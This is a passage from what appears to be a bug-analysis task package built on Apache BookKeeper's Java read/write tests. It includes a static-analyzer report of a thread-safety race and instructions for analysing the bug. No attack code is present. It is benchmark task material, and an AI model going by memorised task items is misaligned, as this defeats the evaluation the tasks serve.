+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteAsyncLength() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+            long length = numEntriesToWrite * 4;
+            assertTrue("Ledger length before closing: " + lh.getLength(), lh.getLength() == length);
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            assertTrue("Ledger length after opening: " + lh.getLength(), lh.getLength() == length);
+
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if(i == numEntriesToWrite/2) {
+                    LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+                    // no recovery opened ledger 's last confirmed entry id is less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+                    // close read only ledger should not change metadata
+                    lhOpen.close();
+                }
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == -1) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerOpenOnce() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if (i == numEntriesToWrite / 2) {
+                    // no recovery opened ledger 's last confirmed entry id is
+                    // less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+
+                    long readLastConfirmed = lhOpen.readLastConfirmed();
+                    assertTrue(readLastConfirmed != 0);
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+
+                }
+            }
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerZeroAndOne() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+
+            /*
+             * We haven't written anything, so it should be empty.
+             */
+            LOG.debug("Checking that it is empty");
+            long readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue("Last confirmed has the wrong value",
+                       readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Writing one entry.
+             */
+            LOG.debug("Going to write one entry");
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            /*
+             * The hint should still indicate that there is no confirmed
+             * add.
+             */
+            LOG.debug("Checking that it is still empty even after writing one entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Adding one more, and this time we should expect to
+             * see one entry.
+             */
+            entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            LOG.info("Checking that it has an entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == 0L);
+
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Test
+    public void testLastConfirmedAdd() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == LedgerHandle.INVALID_ENTRY_ID) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Override
+    public void addComplete(int rc, LedgerHandle lh, long entryId, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        SyncObj x = (SyncObj) ctx;
+
+        synchronized (x) {
+            x.counter++;
+            x.notify();
+        }
+    }
+
+    @Override
+    public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        ls = seq;
+
+        synchronized (sync) {
+            sync.value = true;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readLastConfirmedComplete(int rc, long lastConfirmed, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+
+        synchronized(sync) {
+            sync.lastConfirmed = lastConfirmed;
+            sync.notify();
+        }
+    }
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        rng = new Random(System.currentTimeMillis()); // Initialize the Random
+        // Number Generator
+        entries = new ArrayList<byte[]>(); // initialize the entries list
+        entriesSize = new ArrayList<Integer>();
+        sync = new SyncObj(); // initialize the synchronization data structure
+
+    }
+
+    /* Clean up a directory recursively */
+    protected boolean cleanUpDir(File dir) {
+        if (dir.isDirectory()) {
+            LOG.info("Cleaning up " + dir.getName());
+            String[] children = dir.list();
+            for (String string : children) {
+                boolean success = cleanUpDir(new File(dir, string));
+                if (!success)
+                    return false;
+            }
+        }
+        // The directory is now empty so delete it
+        return dir.delete();
+    }
+
+    /* User for testing purposes, void */
+    class emptyWatcher implements Watcher {
+        @Override
+        public void process(WatchedEvent event) {
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.bookkeeper.test.BookieReadWriteTest.testReadWriteSyncSingleClient` reads without synchronization from `this.org.apache.bookkeeper.test.BookieReadWriteTest.ls`. Potentially races with write in method `BookieReadWriteTest.testSyncReadAsyncWriteStringsSingleClient()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BookieReadWriteTest.testReadWriteSyncSingleClient()
+
+### Procedure Id:
+org.apache.bookkeeper.test.BookieReadWriteTest.testReadWriteSyncSingleClient():void.f4a12f4765052741caa0d8c3eae97942
+
+### File:
+bookkeeper-server/src/test/java/org/apache/bookkeeper/test/BookieReadWriteTest.java
+
+### Key:
+BookieReadWriteTest.java|testReadWriteSyncSingleClient|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+90f66f1095b33ad3c82b00c2ceb0bbaa
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7118/instruction.md b/inferredbugs-7118/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ed1aca63e2275cdc0d8cf475353d248cf8cc0bc1
--- /dev/null
+++ b/inferredbugs-7118/instruction.md
@@ -0,0 +1,1202 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 35
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.bookkeeper.test;
+
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.NoSuchFieldException;
+import java.lang.IllegalAccessException;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Random;
+import java.util.Set;
+import java.util.Arrays;
+import java.util.concurrent.Semaphore;
+
+
+import org.apache.bookkeeper.client.AsyncCallback.AddCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadLastConfirmedCallback;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.client.BookKeeper;
+import org.apache.bookkeeper.client.LedgerEntry;
+import org.apache.bookkeeper.client.LedgerHandle;
+import org.apache.bookkeeper.client.BookKeeper.DigestType;
+import org.apache.bookkeeper.streaming.LedgerInputStream;
+import org.apache.bookkeeper.streaming.LedgerOutputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * This test tests read and write, synchronous and asynchronous, strings and
+ * integers for a BookKeeper client. The test deployment uses a ZooKeeper server
+ * and three BookKeepers.
+ *
+ */
+
+public class BookieReadWriteTest extends MultiLedgerManagerMultiDigestTestCase
+    implements AddCallback, ReadCallback, ReadLastConfirmedCallback {
+
+    // Depending on the taste, select the amount of logging
+    // by decommenting one of the two lines below
+    // static Logger LOG = Logger.getRootLogger();
+    static Logger LOG = LoggerFactory.getLogger(BookieReadWriteTest.class);
+
+    byte[] ledgerPassword = "aaa".getBytes();
+    LedgerHandle lh, lh2;
+    long ledgerId;
+    Enumeration<LedgerEntry> ls;
+
+    // test related variables
+    int numEntriesToWrite = 200;
+    int maxInt = 2147483647;
+    Random rng; // Random Number Generator
+    ArrayList<byte[]> entries; // generated entries
+    ArrayList<Integer> entriesSize;
+
+    DigestType digestType;
+
+    public BookieReadWriteTest(String ledgerManagerFactory, DigestType digestType) {
+        super(3);
+        this.digestType = digestType;
+        // set ledger manager
+        baseConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+        baseClientConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+    }
+    // Synchronization
+    SyncObj sync;
+    Set<Object> syncObjs;
+
+    class SyncObj {
+        long lastConfirmed;
+        volatile int counter;
+        boolean value;
+
+        public SyncObj() {
+            counter = 0;
+            lastConfirmed = LedgerHandle.INVALID_ENTRY_ID;
+            value = false;
+        }
+    }
+
+    @Test
+    public void testOpenException() throws IOException, InterruptedException {
+        try {
+            lh = bkc.openLedger(0, digestType, ledgerPassword);
+            fail("Haven't thrown exception");
+        } catch (BKException e) {
+            LOG.warn("Successfully thrown and caught exception:", e);
+        }
+    }
+
+    /**
+     * test the streaming api for reading and writing
+     *
+     * @throws {@link IOException}
+     */
+    @Test
+    public void testStreamingClients() throws IOException, BKException, InterruptedException {
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        // write a string so that we cna
+        // create a buffer of a single bytes
+        // and check for corner cases
+        String toWrite = "we need to check for this string to match " + "and for the record mahadev is the best";
+        LedgerOutputStream lout = new LedgerOutputStream(lh, 1);
+        byte[] b = toWrite.getBytes();
+        lout.write(b);
+        lout.close();
+        long lId = lh.getId();
+        lh.close();
+        // check for sanity
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        LedgerInputStream lin = new LedgerInputStream(lh, 1);
+        byte[] bread = new byte[b.length];
+        int read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+
+        String newString = new String(bread);
+        assertTrue("these two should same", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+        // create another ledger to write one byte at a time
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        lout = new LedgerOutputStream(lh);
+        for (int i = 0; i < b.length; i++) {
+            lout.write(b[i]);
+        }
+        lout.close();
+        lId = lh.getId();
+        lh.close();
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        lin = new LedgerInputStream(lh);
+        bread = new byte[b.length];
+        read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+        newString = new String(bread);
+        assertTrue("these two should be same ", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntriesToWrite - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i));
+                Integer origEntry = origbb.getInt();
+                byte[] entry = ls.nextElement().getEntry();
+                ByteBuffer result = ByteBuffer.wrap(entry);
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+                assertTrue("Checking entry " + i + " for size", entry.length == entriesSize.get(i).intValue());
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    /**
+     * Check that the add api with offset and length work correctly.
+     * First try varying the offset. Then the length with a fixed non-zero
+     * offset.
+     */
+    @Test
+    public void testReadWriteRangeAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            byte bytes[] = {'a','b','c','d','e','f','g','h','i'};
+
+            lh.asyncAddEntry(bytes, 0, bytes.length, this, sync);
+            lh.asyncAddEntry(bytes, 0, 4, this, sync); // abcd
+            lh.asyncAddEntry(bytes, 3, 4, this, sync); // defg
+            lh.asyncAddEntry(bytes, 3, (bytes.length-3), this, sync); // defghi
+            int numEntries = 4;
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntries) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length, this, sync);
+                fail("Shouldn't be able to use negative offset");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 0, bytes.length+1, this, sync);
+                fail("Shouldn't be able to use that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length+2, this, sync);
+                fail("Shouldn't be able to use negative offset "
+                     + "with that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 4, -3, this, sync);
+                fail("Shouldn't be able to use negative length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -4, -3, this, sync);
+                fail("Shouldn't be able to use negative offset & length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written",
+                       lh.getLastAddConfirmed() == (numEntries - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntries - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] expected = null;
+                byte[] entry = ls.nextElement().getEntry();
+
+                switch (i) {
+                case 0:
+                    expected = Arrays.copyOfRange(bytes, 0, bytes.length);
+                    break;
+                case 1:
+                    expected = Arrays.copyOfRange(bytes, 0, 4);
+                    break;
+                case 2:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+4);
+                    break;
+                case 3:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+(bytes.length-3));
+                    break;
+                }
+                assertNotNull("There are more checks than writes", expected);
+
+                String message = "Checking entry " + i + " for equality ["
+                                 + new String(entry, "UTF-8") + ","
+                                 + new String(expected, "UTF-8") + "]";
+                assertTrue(message, Arrays.equals(entry, expected));
+
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntries);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    class ThrottleTestCallback implements ReadCallback {
+        int throttle;
+
+        ThrottleTestCallback(int threshold) {
+            this.throttle = threshold;
+        }
+
+        @Override
+        public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+            if(rc != BKException.Code.OK) {
+                fail("Return code is not OK: " + rc);
+            }
+
+            ls = seq;
+            synchronized(sync) {
+                sync.counter += throttle;
+                sync.notify();
+            }
+            LOG.info("Current counter: " + sync.counter);
+        }
+    }
+
+    /**
+     * Method for obtaining the available permits of a ledger handle
+     * using reflection to avoid adding a new public method to the
+     * class.
+     *
+     * @param lh
+     * @return
+     */
+    @SuppressWarnings("unchecked")
+    int getAvailablePermits(LedgerHandle lh) throws
+        NoSuchFieldException, IllegalAccessException
+    {
+        Field field = LedgerHandle.class.getDeclaredField("opCounterSem");
+        field.setAccessible(true);
+        return ((Semaphore)field.get(lh)).availablePermits();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClientThrottle() throws
+        IOException, NoSuchFieldException, IllegalAccessException {
+        try {
+
+            Integer throttle = 100;
+            ThrottleTestCallback tcb = new ThrottleTestCallback(throttle);
+            // Create a ledger
+            bkc.getConf().setThrottleValue(throttle);
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+
+            numEntriesToWrite = 8000;
+            for (int i = 0; i < (numEntriesToWrite - 2000); i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+
+            for (int i = 0; i < 2000; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            sync.counter = 0;
+            for (int i = 0; i < numEntriesToWrite; i+=throttle) {
+                lh.asyncReadEntries(i, i + throttle - 1, tcb, sync);
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.info("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testSyncReadAsyncWriteStringsSingleClient() throws IOException {
+        LOG.info("TEST READ WRITE STRINGS MIXED SINGLE CLIENT");
+        String charset = "utf-8";
+        LOG.debug("Default charset: " + Charset.defaultCharset());
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                int randomInt = rng.nextInt(maxInt);
+                byte[] entry = new String(Integer.toString(randomInt)).getBytes(charset);
+                entries.add(entry);
+                lh.asyncAddEntry(entry, this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
